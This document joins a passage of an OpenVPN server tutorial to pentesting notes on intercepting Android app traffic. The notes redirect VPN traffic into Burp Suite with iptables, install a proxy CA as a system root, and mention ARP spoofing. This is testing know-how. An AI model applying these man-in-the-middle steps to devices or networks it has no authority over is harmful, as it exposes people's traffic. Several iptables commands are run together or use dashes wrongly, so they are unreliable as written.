**(Optional) Push DNS Changes to Redirect All Traffic Through the VPN**

The settings above will create the VPN connection between the two machines, but will not force any connections to use the tunnel. If you wish to use the VPN to route all of your traffic, you will likely want to push the DNS settings to the client computers.

You can do this, uncomment a few directives that will configure client machines to redirect all web traffic through the VPN. Find the `redirect-gateway` section and remove the semicolon “**;**” from the beginning of the `redirect-gateway` line to uncomment it:

/etc/openvpn/server.conf

```
push "redirect-gateway def1 bypass-dhcp"
```

Just below this, find the `dhcp-option` section. Again, remove the “**;**” from in front of both of the lines to uncomment them:

/etc/openvpn/server.conf

```
push "dhcp-option DNS 208.67.222.222"
push "dhcp-option DNS 208.67.220.220"
```

This should assist clients in reconfiguring their DNS settings to use the VPN tunnel for as the default gateway.

**(Optional) Adjust the Port and Protocol**

By default, the OpenVPN server uses port 1194 and the UDP protocol to accept client connections. If you need to use a different port because of restrictive network environments that your clients might be in, you can change the `port` option. If you are not hosting web content your OpenVPN server, port 443 is a popular choice since this is usually allowed through firewall rules.

/etc/openvpn/server.conf

```
# Optional!
port 443
```

Often if the protocol will be restricted to that port as well. If so, change `proto` from UDP to TCP:

/etc/openvpn/server.conf

```
# Optional!
proto tcp
```

If you have no need to use a different port, it is best to leave these two settings as their default.

**(Optional) Point to Non-Default Credentials**

If you selected a different name during the `./build-key-server` command earlier, modify the `cert` and `key` lines that you see to point to the appropriate `.crt` and `.key` files. If you used the default `server`, this should already be set correctly:

/etc/openvpn/server.conf

```
cert server.crt
key server.key
```

When you are finished, save and close the file.

### Step 8: Adjust the Server Networking Configuration

Next, we need to adjust some aspects of the server’s networking so that OpenVPN can correctly route traffic.

#### Allow IP Forwarding

First, we need to allow the server to forward traffic. This is fairly essential to the functionality we want our VPN server to provide.

We can adjust this setting by modifying the `/etc/sysctl.conf` file:

```
sudo nano /etc/sysctl.conf
```

Copy

Inside, look for the line that sets `net.ipv4.ip_forward`. Remove the “**#**” character from the beginning of the line to uncomment that setting:

/etc/sysctl.conf

```
net.ipv4.ip_forward=1
```

Save and close the file when you are finished.

To read the file and adjust the values for the current session, type:

```
sudo sysctl -p
```

Copy

#### Adjust the UFW Rules to Masquerade Client Connections

If you followed the Ubuntu 16.04 initial server setup guide in the prerequisites, you should have the UFW firewall in place. Regardless of whether you use the firewall to block unwanted traffic (which you almost always should do), we need the firewall in this guide to manipulate some of the traffic coming into the server. We need to modify the rules file to set up masquerading, an `iptables` concept that provides on-the-fly dynamic NAT to correctly route client connections.

Before we open the firewall configuration file to add masquerading, we need to find the public network interface of our machine. To do this, type:

```
ip route | grep default
```

Copy

Your public interface should follow the word “dev”. For example, this result shows the interface named `wlp11s0`, which is highlighted below:

```
Outputdefault via 203.0.113.1 dev wlp11s0  proto static  metric 600
```

When you have the interface associated with your default route, open the `/etc/ufw/before.rules` file to add the relevant configuration:

```
sudo nano /etc/ufw/before.rules
```

Copy

This file handles configuration that should be put into place before the conventional UFW rules are loaded. Towards the top of the file, add the highlighted lines below. This will set the default policy for the `POSTROUTING` chain in the `nat` table and masquerade any traffic coming from the VPN:

**Note**: Remember to replace `wlp11s0` in the `-A POSTROUTING` line below with the interface you found in the above command.

/etc/ufw/before.rules

```
#
# rules.before
#
# Rules that should be run before the ufw command line added rules. Custom
# rules should be added to one of these chains:
#   ufw-before-input
#   ufw-before-output
#   ufw-before-forward
#

# START OPENVPN RULES
# NAT table rules
*nat
:POSTROUTING ACCEPT [0:0] 
# Allow traffic from OpenVPN client to wlp11s0 (change to the interface you discovered!)
-A POSTROUTING -s 10.8.0.0/8 -o wlp11s0 -j MASQUERADE
COMMIT
# END OPENVPN RULES

# Don't delete these required lines, otherwise there will be errors
*filter
. . .
```

Save and close the file when you are finished.

We need to tell UFW to allow forwarded packets by default as well. To do this, we will open the `/etc/default/ufw` file:

```
sudo nano /etc/default/ufw
```

Copy

Inside, find the `DEFAULT_FORWARD_POLICY` directive. We will change the value from `DROP` to `ACCEPT`:

/etc/default/ufw

```
DEFAULT_FORWARD_POLICY="ACCEPT"
```

Save and close the file when you are finished.

#### Open the OpenVPN Port and Enable the Changes

Next, we’ll adjust the firewall itself to allow traffic to OpenVPN.

If you did not change the port and protocol in the `/etc/openvpn/server.conf` file, you will need to open up UDP traffic to port 1194. If you modified the port and/or protocol, substitute the values you selected here.

We’ll also add the SSH port in case you forgot to add it when following the prerequisite tutorial:

```
sudo ufw allow 1194/udp
sudo ufw allow OpenSSH
```

Copy

Now, we can disable and re-enable UFW to load the changes from all of the files we’ve modified:

```
sudo ufw disable
sudo ufw enable
```

Copy

Our server is now configured to correctly handle OpenVPN traffic.

### Step 9: Start and Enable the OpenVPN Service

We’re finally ready to start the OpenVPN service on our server. We can do this using systemd.

We need to start the OpenVPN server by specifying our configuration file name as an instance variable after the systemd unit file name. Our configuration file for our server is called `/etc/openvpn/``server``.conf`, so we will add `@server` to end of our unit file when calling it:

```
sudo systemctl start openvpn@server
```

Copy

Double-check that the service has started successfully by typing:

```
sudo systemctl status openvpn@server
```

Copy

If everything went well, your output should look something that looks like this:

```
Output● openvpn@server.service - OpenVPN connection to server
   Loaded: loaded (/lib/systemd/system/openvpn@.service; disabled; vendor preset: enabled)
   Active: active (running) since Tue 2016-05-03 15:30:05 EDT; 47s ago
     Docs: man:openvpn(8)
           https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
           https://community.openvpn.net/openvpn/wiki/HOWTO
  Process: 5852 ExecStart=/usr/sbin/openvpn --daemon ovpn-%i --status /run/openvpn/%i.status 10 --cd /etc/openvpn --script-security 2 --config /etc/openvpn/%i.conf --writepid /run/openvpn/%i.pid (code=exited, sta
 Main PID: 5856 (openvpn)
    Tasks: 1 (limit: 512)
   CGroup: /system.slice/system-openvpn.slice/openvpn@server.service
           └─5856 /usr/sbin/openvpn --daemon ovpn-server --status /run/openvpn/server.status 10 --cd /etc/openvpn --script-security 2 --config /etc/openvpn/server.conf --writepid /run/openvpn/server.pid

May 03 15:30:05 openvpn2 ovpn-server[5856]: /sbin/ip addr add dev tun0 local 10.8.0.1 peer 10.8.0.2
May 03 15:30:05 openvpn2 ovpn-server[5856]: /sbin/ip route add 10.8.0.0/24 via 10.8.0.2
May 03 15:30:05 openvpn2 ovpn-server[5856]: GID set to nogroup
May 03 15:30:05 openvpn2 ovpn-server[5856]: UID set to nobody
May 03 15:30:05 openvpn2 ovpn-server[5856]: UDPv4 link local (bound): [undef]
May 03 15:30:05 openvpn2 ovpn-server[5856]: UDPv4 link remote: [undef]
May 03 15:30:05 openvpn2 ovpn-server[5856]: MULTI: multi_init called, r=256 v=256
May 03 15:30:05 openvpn2 ovpn-server[5856]: IFCONFIG POOL: base=10.8.0.4 size=62, ipv6=0
May 03 15:30:05 openvpn2 ovpn-server[5856]: IFCONFIG POOL LIST
May 03 15:30:05 openvpn2 ovpn-server[5856]: Initialization Sequence Completed
```

You can also check that the OpenVPN `tun0` interface is available by typing:

```
ip addr show tun0
```

Copy

You should see a configured interface:

```
Output4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc noqueue state UNKNOWN group default qlen 100
    link/none 
    inet 10.8.0.1 peer 10.8.0.2/32 scope global tun0
       valid_lft forever preferred_lft forever
```

If everything went well, enable the service so that it starts automatically at boot:

```
sudo systemctl enable openvpn@server
```

Copy

### Step 10: Create Client Configuration Infrastructure

Next, we need to set up a system that will allow us to create client configuration files easily.

#### Creating the Client Config Directory Structure

Create a directory structure within your home directory to store the files:

```
mkdir -p ~/client-configs/files
```

Copy

Since our client configuration files will have the client keys embedded, we should lock down permissions on our inner directory:

```
chmod 700 ~/client-configs/files
```

Copy

#### Creating a Base Configuration

Next, let’s copy an example client configuration into our directory to use as our base configuration:

```
cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf ~/client-configs/base.conf
```

Copy

Open this new file in your text editor:

```
nano ~/client-configs/base.conf
```

Copy

Inside, we need to make a few adjustments.

First, locate the `remote` directive. This points the client to our OpenVPN server address. This should be the public IP address of your OpenVPN server. If you changed the port that the OpenVPN server is listening on, change `1194` to the port you selected:

\~/client-configs/base.conf

```
. . .
# The hostname/IP and port of the server.
# You can have multiple remote entries
# to load balance between the servers.
remote server_IP_address 1194
. . .
```

Be sure that the protocol matches the value you are using in the server configuration:

\~/client-configs/base.conf

```
proto udp
```

Next, uncomment the `user` and `group` directives by removing the “**;**”:

\~/client-configs/base.conf

```
# Downgrade privileges after initialization (non-Windows only)
user nobody
group nogroup
```

Find the directives that set the `ca`, `cert`, and `key`. Comment out these directives since we will be adding the certs and keys within the file itself:

\~/client-configs/base.conf

```
# SSL/TLS parms.
# See the server config file for more
# description.  It's best to use
# a separate .crt/.key file pair
# for each client.  A single ca
# file can be used for all clients.
#ca ca.crt
#cert client.crt
#key client.key
```

Mirror the `cipher` and `auth` settings that we set in the `/etc/openvpn/server.conf` file:

\~/client-configs/base.conf

```
cipher AES-128-CBC
auth SHA256
```

Next, add the `key-direction` directive somewhere in the file. This **must** be set to “1” to work with the server:

\~/client-configs/base.conf

```
key-direction 1
```

Finally, add a few **commented out** lines. We want to include these with every config, but should only enable them for Linux clients that ship with a `/etc/openvpn/update-resolv-conf` file. This script uses the `resolvconf` utility to update DNS information for Linux clients.

\~/client-configs/base.conf

```
# script-security 2
# up /etc/openvpn/update-resolv-conf
# down /etc/openvpn/update-resolv-conf
```

If your client is running Linux and has an `/etc/openvpn/update-resolv-conf` file, you should uncomment these lines from the generated OpenVPN client configuration file.

Save the file when you are finished.

#### Creating a Configuration Generation Script

Next, we will create a simple script to compile our base configuration with the relevant certificate, key, and encryption files. This will place the generated configuration in the `~/client-configs/files` directory.

Create and open a file called `make_config.sh` within the `~/client-configs` directory:

```
nano ~/client-configs/make_config.sh
```

Copy

Inside, paste the following script:

\~/client-configs/make\_config.sh

```
#!/bin/bash

# First argument: Client identifier

KEY_DIR=~/openvpn-ca/keys
OUTPUT_DIR=~/client-configs/files
BASE_CONFIG=~/client-configs/base.conf

cat ${BASE_CONFIG} \
    <(echo -e '<ca>') \
    ${KEY_DIR}/ca.crt \
    <(echo -e '</ca>\n<cert>') \
    ${KEY_DIR}/${1}.crt \
    <(echo -e '</cert>\n<key>') \
    ${KEY_DIR}/${1}.key \
    <(echo -e '</key>\n<tls-auth>') \
    ${KEY_DIR}/ta.key \
    <(echo -e '</tls-auth>') \
    > ${OUTPUT_DIR}/${1}.ovpn
```

Copy

Save and close the file when you are finished.

Mark the file as executable by typing:

```
chmod 700 ~/client-configs/make_config.sh
```

Copy

### Step 11: Generate Client Configurations

Now, we can easily generate client configuration files.

If you followed along with the guide, you created a client certificate and key called `client1.crt` and `client1.key` respectively by running the `./build-key`` ``client1` command in step 6. We can generate a config for these credentials by moving into our `~/client-configs` directory and using the script we made:

```
cd ~/client-configs
./make_config.sh client1
```

Copy

If everything went well, we should have a `client1.ovpn` file in our `~/client-configs/files` directory:

```
ls ~/client-configs/files
```

Copy

```
Outputclient1.ovpn
```

#### Transferring Configuration to Client Devices

We need to transfer the client configuration file to the relevant device. For instance, this could be your local computer or a mobile device.

While the exact applications used to accomplish this transfer will depend on your choice and device’s operating system, you want the application to use SFTP (SSH file transfer protocol) or SCP (Secure Copy) on the backend. This will transport your client’s VPN authentication files over an encrypted connection.

Here is an example SFTP command using our client1.ovpn example. This command can be run from your local computer (OS X or Linux). It places the `.ovpn` file in your home directory:

```
sftp sammy@openvpn_server_ip:client-configs/files/client1.ovpn ~/
```

Copy

Here are several tools and tutorials for securely transferring files from the server to a local computer:

* [WinSCP](http://winscp.net/)
* [How To Use SFTP to Securely Transfer Files with a Remote Server](https://www.digitalocean.com/community/tutorials/how-to-use-sftp-to-securely-transfer-files-with-a-remote-server)
* [How To Use Filezilla to Transfer and Manage Files Securely on your VPS](https://www.digitalocean.com/community/tutorials/how-to-use-filezilla-to-transfer-and-manage-files-securely-on-your-vps)

### Step 12: Install the Client Configuration

Now, we’ll discuss how to install a client VPN profile on Windows, OS X, iOS, and Android. None of these client instructions are dependent on one another, so feel free to skip to whichever is applicable to you.

The OpenVPN connection will be called whatever you named the `.ovpn` file. In our example, this means that the connection will be called `client1.ovpn` for the first client file we generated.

#### Windows

**Installing**

The OpenVPN client application for Windows can be found on [OpenVPN’s Downloads page](https://openvpn.net/index.php/open-source/downloads.html). Choose the appropriate installer version for your version of Windows.

Note

OpenVPN needs administrative privileges to install.

After installing OpenVPN, copy the `.ovpn` file to:

```
C:\Program Files\OpenVPN\config
```

When you launch OpenVPN, it will automatically see the profile and makes it available.

OpenVPN must be run as an administrator each time it’s used, even by administrative accounts. To do this without having to right-click and select **Run as administrator** every time you use the VPN, you can preset this, but this must be done from an administrative account. This also means that standard users will need to enter the administrator’s password to use OpenVPN. On the other hand, standard users can’t properly connect to the server unless the OpenVPN application on the client has admin rights, so the elevated privileges are necessary.

To set the OpenVPN application to always run as an administrator, right-click on its shortcut icon and go to **Properties**. At the bottom of the **Compatibility** tab, click the button to **Change settings for all users**. In the new window, check **Run this program as an administrator**.

**Connecting**

Each time you launch the OpenVPN GUI, Windows will ask if you want to allow the program to make changes to your computer. Click **Yes**. Launching the OpenVPN client application only puts the applet in the system tray so that the VPN can be connected and disconnected as needed; it does not actually make the VPN connection.

Once OpenVPN is started, initiate a connection by going into the system tray applet and right-clicking on the OpenVPN applet icon. This opens the context menu. Select **client1** at the top of the menu (that’s our `client1.ovpn` profile) and choose **Connect**.

A status window will open showing the log output while the connection is established, and a message will show once the client is connected.

Disconnect from the VPN the same way: Go into the system tray applet, right-click the OpenVPN applet icon, select the client profile and click **Disconnect**.

#### OS X

**Installing**

[Tunnelblick](https://tunnelblick.net/) is a free, open source OpenVPN client for Mac OS X. You can download the latest disk image from the [Tunnelblick Downloads page](https://tunnelblick.net/downloads.html). Double-click the downloaded `.dmg` file and follow the prompts to install.

Towards the end of the installation process, Tunnelblick will ask if you have any configuration files. It can be easier to answer **No** and let Tunnelblick finish. Open a Finder window and double-click `client1.ovpn`. Tunnelblick will install the client profile. Administrative privileges are required.

**Connecting**

Launch Tunnelblick by double-clicking Tunnelblick in the **Applications** folder. Once Tunnelblick has been launched, there will be a Tunnelblick icon in the menu bar at the top right of the screen for controlling connections. Click on the icon, and then the **Connect** menu item to initiate the VPN connection. Select the **client1** connection.

#### Linux

**Installing**

If you are using Linux, there are a variety of tools that you can use depending on your distribution. Your desktop environment or window manager might also include connection utilities.

The most universal way of connecting, however, is to just use the OpenVPN software.

On Ubuntu or Debian, you can install it just as you did on the server by typing:

```
sudo apt-get update
sudo apt-get install openvpn
```

Copy

On CentOS you can enable the EPEL repositories and then install it by typing:

```
sudo yum install epel-release
sudo yum install openvpn
```

Copy

**Configuring**

Check to see if your distribution includes a `/etc/openvpn/update-resolv-conf` script:

```
ls /etc/openvpn
```

Copy

```
Outputupdate-resolve-conf
```

Next, edit the OpenVPN client configuration file you transfered:

```
nano client1.ovpn
```

Copy

Uncomment the three lines we placed in to adjust the DNS settings if you were able to find an `update-resolv-conf` file:

client1.ovpn

```
script-security 2
up /etc/openvpn/update-resolv-conf
down /etc/openvpn/update-resolv-conf
```

If you are using CentOS, change the `group` from `nogroup` to `nobody` to match the distribution’s available groups:

client1.ovpn

```
group nobody
```

Save and close the file.

Now, you can connect to the VPN by just pointing the `openvpn` command to the client configuration file:

```
sudo openvpn --config client1.ovpn
```

Copy

This should connect you to your server.

#### iOS

**Installing**

From the iTunes App Store, search for and install [OpenVPN Connect](https://itunes.apple.com/us/app/id590379981), the official iOS OpenVPN client application. To transfer your iOS client configuration onto the device, connect it directly to a computer.

Completing the transfer with iTunes will be outlined here. Open iTunes on the computer and click on **iPhone** > **apps**. Scroll down to the bottom to the **File Sharing** section and click the OpenVPN app. The blank window to the right, **OpenVPN Documents**, is for sharing files. Drag the `.ovpn` file to the OpenVPN Documents window.

![iTunes showing the VPN profile ready to load on the iPhone](https://assets.digitalocean.com/articles/openvpn_ubunutu/1.png)

Now launch the OpenVPN app on the iPhone. There will be a notification that a new profile is ready to import. Tap the green plus sign to import it.

![The OpenVPN iOS app showing new profile ready to import](https://assets.digitalocean.com/articles/openvpn_ubunutu/2.png)

**Connecting**

OpenVPN is now ready to use with the new profile. Start the connection by sliding the **Connect** button to the **On** position. Disconnect by sliding the same button to **Off**.

Note

The VPN switch under **Settings** cannot be used to connect to the VPN. If you try, you will receive a notice to only connect using the OpenVPN app.

![The OpenVPN iOS app connected to the VPN](https://assets.digitalocean.com/articles/openvpn_ubunutu/3.png)

#### Android

**Installing**

Open the Google Play Store. Search for and install [Android OpenVPN Connect](https://play.google.com/store/apps/details?id=net.openvpn.openvpn), the official Android OpenVPN client application.

The `.ovpn` profile can be transferred by connecting the Android device to your computer by USB and copying the file over. Alternatively, if you have an SD card reader, you can remove the device’s SD card, copy the profile onto it and then insert the card back into the Android device.

Start the OpenVPN app and tap the menu to import the profile.

![The OpenVPN Android app profile import menu selection](https://assets.digitalocean.com/articles/openvpn_ubunutu/4.png)

Then navigate to the location of the saved profile (the screenshot uses `/sdcard/Download/`) and select the file. The app will make a note that the profile was imported.

![The OpenVPN Android app selecting VPN profile to import](https://assets.digitalocean.com/articles/openvpn_ubunutu/5.png)

**Connecting**

To connect, simply tap the **Connect** button. You’ll be asked if you trust the OpenVPN application. Choose **OK** to initiate the connection. To disconnect from the VPN, go back to the OpenVPN app and choose **Disconnect**.

![The OpenVPN Android app ready to connect to the VPN](https://assets.digitalocean.com/articles/openvpn_ubunutu/6.png)

### Step 13: Test Your VPN Connection

Once everything is installed, a simple check confirms everything is working properly. Without having a VPN connection enabled, open a browser and go to [DNSLeakTest](https://www.dnsleaktest.com/).

The site will return the IP address assigned by your internet service provider and as you appear to the rest of the world. To check your DNS settings through the same website, click on **Extended Test** and it will tell you which DNS servers you are using.

Now connect the OpenVPN client to your Droplet’s VPN and refresh the browser. The completely different IP address of your VPN server should now appear. That is now how you appear to the world. Again, [DNSLeakTest’s](https://www.dnsleaktest.com/) **Extended Test** will check your DNS settings and confirm you are now using the DNS resolvers pushed by your VPN.

### Step 14: Revoking Client Certificates

Occasionally, you may need to revoke a client certificate to prevent further access to the OpenVPN server.

To do so, enter your CA directory and re-source the `vars` file:

```
cd ~/openvpn-ca
source vars
```

Copy

Next, call the `revoke-full` command using the client name that you wish to revoke:

```
./revoke-full client3
```

Copy

This will show some output, ending in `error 23`. This is normal and the process should have successfully generated the necessary revocation information, which is stored in a file called `crl.pem` within the `keys` subdirectory.

Transfer this file to the `/etc/openvpn` configuration directory:

```
sudo cp ~/openvpn-ca/keys/crl.pem /etc/openvpn
```

Copy

Next, open the OpenVPN server configuration file:

```
sudo nano /etc/openvpn/server.conf
```

Copy

At the bottom of the file, add the `crl-verify` option, so that the OpenVPN server checks the certificate revocation list that we’ve created each time a connection attempt is made:

/etc/openvpn/server.conf

```
crl-verify crl.pem
```

Save and close the file.

Finally, restart OpenVPN to implement the certificate revocation:

```
sudo systemctl restart openvpn@server
```

Copy

The client should now longer be able to successfully connect to the server using the old credential.

To revoke additional clients, follow this process:

1. Generate a new certificate revocation list by sourcing the `vars` file in the `~/openvpn-ca` directory and then calling the `revoke-full` script on the client name.
2. Copy the new certificate revocation list to the `/etc/openvpn` directory to overwrite the old list.
3. Restart the OpenVPN service.

This process can be used to revoke any certificates that you’ve previously issued for your server.

### Conclusion

Congratulations! You are now securely traversing the internet protecting your identity, location, and traffic from snoopers and censors.

To configure more clients, you only need to follow steps **6**, and **11-13** for each additional device. To revoke access to clients, follow step **14**.


# Bypasses

{% hint style="info" %}
Some content on this page is taken from --> <https://medium.com/@meshal_/pentesting-non-proxy-aware-mobile-applications-65161f62a965>
{% endhint %}

## How to verify if the application is non-proxy aware?

When running the application, you should either see your HTTPS data in Burp’s Proxy tab, or you should see HTTPS connection errors in **Burp’s Event log on the Dashboard panel**. Since the entire device is proxied, you will see many blocked requests from applications that use SSL Pinning (e.g. Google Play), so see if you can find a domain that is related to the application. If you don’t see any relevant failed connections, your application is most likely proxy unaware.

As an additional sanity check, you can see if the application uses a **third party framework**. If the app is written in Flutter it will definitely be proxy unaware, while if it’s written in Xamarin or Unity, there’s a good chance it will ignore the system’s proxy settings.

* Decompile with apktool
  * `apktool d myapp.apk`
* Go through known locations
  * Flutter: `myapp/lib/arm64-v8a/libflutter.so`
  * Xamarin: `myapp/unknown/assemblies/Mono.Android.dll`
  * Unity: `myapp/lib/arm64-v8a/libunity.so`

## **Solution**

### Using ProxyDroid or similar tool on Rooted Device:

* Use [ProxyDroid ](https://play.google.com/store/apps/details?id=org.proxydroid\&hl=en\&gl=US)(root only). Although it’s an old app, it still works really well. ProxyDroid uses iptables in order to forcefully redirect traffic to your proxy.

### Setting up VPN Server and diverting traffic that way

* Set up a VPN on your VM or Host wherever you are testing from, following this guide:
  * [#setting-up-vpn-server-and-diverting-traffic-that-way](#setting-up-vpn-server-and-diverting-traffic-that-way "mention")
* After setting up the virtual machine and VPN server, now we need to force all the traffic that goes through our VPN to be directed to port 8085 which is what our Burp Suite proxy is listening on:

### **Iptables** <a href="#id-57ba" id="id-57ba"></a>

**Flush all previous rules to start fresh:**

```
sudo iptables -F
```

**Set accept all policy to all connections:**

```
sudo iptables -P INPUT ACCEPTsudo iptables -P OUTPUT ACCEPTsudo iptables -P FORWARD ACCEPT
```

**Forward all HTTP and HTTPS traffic from the VPN network interface tun0 to the listening port in Burp Suite 8085:**

```
sudo iptables -t nat -A PREROUTING -i tun0 -p tcp — dport 80 -j REDIRECT — to-port 8085sudo iptables -t nat -A PREROUTING -i tun0 -p tcp — dport 443 -j REDIRECT — to-port 8085
```

{% hint style="info" %}
Re-applying iptables rules was needed every time the virtual machine was rebooted.
{% endhint %}

<figure><img src="https://miro.medium.com/max/700/1*InPq1W_tmg-D4NbyP8_99w.png" alt=""><figcaption></figcaption></figure>

In this way, we are forcing all traffic from the mobile phone to go through Burp Suite proxy.

### **Configuring Burp Suite** Listene&#x72;**:** <a href="#b47b" id="b47b"></a>

Set Burp Suite to listen on port 8085 on **all interfaces**, but we still have an issue to deal with which Burp Suite can’t resolve the requests to a specific IP.

**Configuring Burp Suite to resolve the domain/IP :**

* In Proxy tab go to Edit then click Request handling. After that, provide the destination IP (The IP which the mobile application sending its requests to).
* Check “Support invisible proxying”.


# Common Proxying Issues

{% hint style="info" %}
Everything on this page is taken from --> <https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check8>
{% endhint %}

* [Is your proxy configured on the device?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check1)
* [Is Burp listening on all interfaces?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check2)
* [Can your device connect to your proxy?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check3)
* [Can you proxy HTTP traffic?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check4)
* [Is your Burp certificate installed on the device?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check5)
* [Is your Burp certificate installed as a root certificate?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check6)
* [Does your Burp certificate have an appropriate lifetime?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check7)
* [Is TLS Pass Through disabled?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check16)
* [Is the application proxy aware?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check8)
* [Is the application using custom ports?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check9)
* [Is the application using SSL pinning?](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check10)
  * [Pinning through networkSecurityConfig](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check11)
  * [Pinning through OkHttp](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check12)
  * [Pinning through Obfuscated OkHttp in obfuscated apps](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check13)
  * [Pinning through various libraries](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check14)
  * [Pinning in third party app frameworks (Flutter, Xamarin, Unity)](https://blog.nviso.eu/2020/11/19/proxying-android-app-traffic-common-issues-checklist/#check15)

Update: Sven Schleier also created [a blogpost](https://bsddaemonorg.wordpress.com/2021/02/11/the-ultimate-decision-tree-for-mobile-app-network-testing-aka-the-squirrel-in-the-middle/) on this with some awesome visuals and graphs, so check that out as well!

### Setting up the device

First, we need to make sure everything is set up correctly on the device. These steps apply regardless of the application you’re trying to MitM.

#### Is your proxy configured on the device? <a href="#check1" id="check1"></a>

An obvious first step is to configure a proxy on the device. The UI changes a bit depending on your Android version, but it shouldn’t be too hard to find.

**Sanity check**\
Go to **Settings > Connections > Wi-Fi**, select the Wi-Fi network that you’re on, click **Advanced > Proxy > Manual** and enter your Proxy details:

Proxy host name: 192.168.1.100\
Proxy port: 8080

<figure><img src="https://i0.wp.com/blog.nviso.eu/wp-content/uploads/2020/11/proxysettings-1.png?resize=1024%2C538&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

#### Is Burp listening on all interfaces? <a href="#check2" id="check2"></a>

By default, Burp only listens on the local interface (127.0.0.1) but since we want to connect from a different device, Burp needs to listen on the specific interface that has joined the Wi-Fi network. You can either listen on all interfaces, or listen on a specific interface if you know which one you want. As a sanity check, I usually go for ‘listen on all interfaces’. Note that Burp has an API which may allow other people on the same Wi-Fi network to query your proxy and retrieve information from it.

**Sanity check**\
Navigate to [http://192.168.1.100:8080](http://192.168.1.100:8080/) on your host computer. The Burp welcome screen should come up.

**Solution**\
In Burp, go to Proxy > Options > Click your proxy in the Proxy Listeners window > check ‘All interfaces’ on the Bind to Address configuration

<figure><img src="https://i0.wp.com/blog.nviso.eu/wp-content/uploads/2020/11/burp_allinterfaces.png?resize=1024%2C497&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

#### Can your device connect to your proxy? <a href="#check3" id="check3"></a>

Some networks have host/client isolation and won’t allow clients to talk to each other. In this case, your device won’t be able to connect to the proxy since the router doesn’t allow it.

**Sanity Check**\
Open a browser on the device and **navigate to** [**http://192.168.1.100:8080**](http://192.168.1.100:8080/) . You should see Burp’s welcome screen. You should also be able to navigate to [http://burp](http://burp/) in case you’ve already configured the proxy in the previous check.

**Solution**\
There are a few options here:

* Set up a custom wireless network where host/client isolation is disabled
* Host your proxy on a device that is accessible, for example an AWS ec2 instance
* Perform an ARP spoofing attack to trick the mobile device into believing you are the router
* Use adb reverse to proxy your traffic over a USB cable:
  * Configure the proxy on your device to go to `127.0.0.1` on port `8080`
  * Connect your device over USB and make sure that `adb devices` shows your device
  * Execute `adb reverse tcp:8080 tcp:8080` which sends all traffic received on \<device>:8080 to \<host>:8080
  * At this point, you should be able to browse to [http://127.0.0.1:8080](http://127.0.0.1:8080/) and see Burp’s welcome screen

#### Can you proxy HTTP traffic? <a href="#check4" id="check4"></a>

The steps for HTTP traffic are typically much easier than HTTPS traffic, so a quick sanity check here makes sure that your proxy is set up correctly and reachable by the device.

**Sanity check**\
Navigate to [**http://neverssl.com**](http://neverssl.com/) and make sure you see the request in Burp. Neverssl.com is a website that doesn’t use HSTS and will never send you to an HTTPS version, making it a perfect test for plaintext traffic.

**Solution**

* Go over the previous checks again, something may be wrong
* Burp’s Intercept is enabled and the request is waiting for your approval

#### Is your Burp certificate installed on the device? <a href="#check5" id="check5"></a>

In order to intercept HTTPS traffic, your proxy’s certificate needs to be installed on the device.

**Sanity check**\
Go to **Settings > Security > Trusted credentials > User** and make sure your certificate is listed. Alternatively, you can try intercepting HTTPS traffic from the device’s browser.

**Solution**\
This is documented in many places, but here’s a quick rundown:

* Navigate to [http://burp](http://burp/) in your browser
* Click the ‘CA Certificate’ in the top right; a download will start
* Use adb or a file manager to change the extension from der to crt
  * `adb shell mv /sdcard/Download/cacert.der /sdcard/Download/cacert.crt`
* Navigate to the file using your file manager and open the file to start the installation

#### Is your Burp certificate installed as a root certificate? <a href="#check6" id="check6"></a>

Applications on more recent versions of Android don’t trust user certificates by default. A more thorough writeup is available in [another blogpost](https://blog.nviso.eu/2017/12/22/intercepting-https-traffic-from-apps-on-android-7-using-magisk-burp/). Alternatively, you can repackage applications to add the relevant controls to the network\_security\_policy.xml file, but having your root CA in the system CA store will save you a headache on other steps (such as third-party frameworks) so it’s my preferred method.

**Sanity check**\
Go to **Settings > Security > Trusted credentials > System** and make sure your certificate is listed.

**Solution**\
In order to get your certificate listed as a root certificate, your device needs to be rooted with Magisk

* Install the client certificate as normal (see previous check)
* Install the [MagiskTrustUser module](https://github.com/NVISO-BE/MagiskTrustUserCerts)
* Restart your device to enable the module
* Restart a second time to trigger the file copy

Alternatively, you can:

* Make sure the certificate is in the correct format and copy/paste it to the `/system/etc/security/cacerts` directory yourself. However, for this to work, your /system partition needs to be writable. Some rooting methods allow this, but it’s very dirty and Magisk is just so much nicer. It’s also a bit tedious to get the certificate in the correct format.
* Modify the networkSecurityConfig to include user certificates as trust anchors (see further down below). It’s much nicer to have your certificate as a system certificate though, so I rarely take this approach.

#### Does your Burp certificate have an appropriate lifetime? <a href="#check7" id="check7"></a>

Google (and thus Android) is aggressively shortening the maximum accepted lifetime of leaf certificates. If your leaf certificate’s expiration date is too far ahead in the future, Android/Chrome will not accept it. More information can be found in [this blogpost](https://blog.nviso.eu/2018/01/31/using-a-custom-root-ca-with-burp-for-inspecting-android-n-traffic/).

**Sanity check**\
